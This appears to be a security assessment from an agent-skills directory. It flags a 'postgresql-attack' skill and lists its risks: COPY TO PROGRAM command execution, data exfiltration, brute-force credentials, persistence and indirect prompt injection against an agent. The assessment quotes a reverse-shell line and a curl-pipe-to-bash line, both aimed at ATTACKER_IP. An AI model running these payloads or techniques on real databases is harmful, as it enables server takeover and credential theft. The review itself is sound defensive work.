The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides detailed instructions for utilizing the COPY TO PROGRAM feature in PostgreSQL to execute arbitrary system commands. This includes specific payloads for spawning interactive reverse shells (e.g., bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) and writing web shells to the host file system.
[REMOTE_CODE_EXECUTION]: Instructions include patterns for downloading and executing remote scripts using shell piping (e.g., curl http://ATTACKER_IP/payload.sh | bash) and utilizing untrusted procedural languages like plpython3u and plperlu to execute Python or Perl code directly on the server.
[DATA_EXFILTRATION]: The skill details methods for reading sensitive system files, including /etc/shadow and /etc/passwd, and exfiltrating the contents via DNS tunneling (nslookup) or HTTP requests to attacker-controlled infrastructure.
[CREDENTIALS_UNSAFE]: Hardcoded default credentials (e.g., postgres, admin, 123456) are provided for automated brute-force attacks. Additionally, the skill describes how to extract and decode password hashes from the pg_authid and pg_shadow system tables.
[PERSISTENCE_MECHANISMS]: Instructions cover maintaining long-term access by creating hidden SUPERUSER roles, injecting SSH public keys into authorized_keys, and creating malicious cron jobs via file system writes.
[INDIRECT_PROMPT_INJECTION]: The skill consumes output from database queries and system commands. If the targeted environment is malicious, the output could be crafted to influence the agent's subsequent decision-making, though the risk is assessed as lower due to standard model guardrails.

postgresql-attack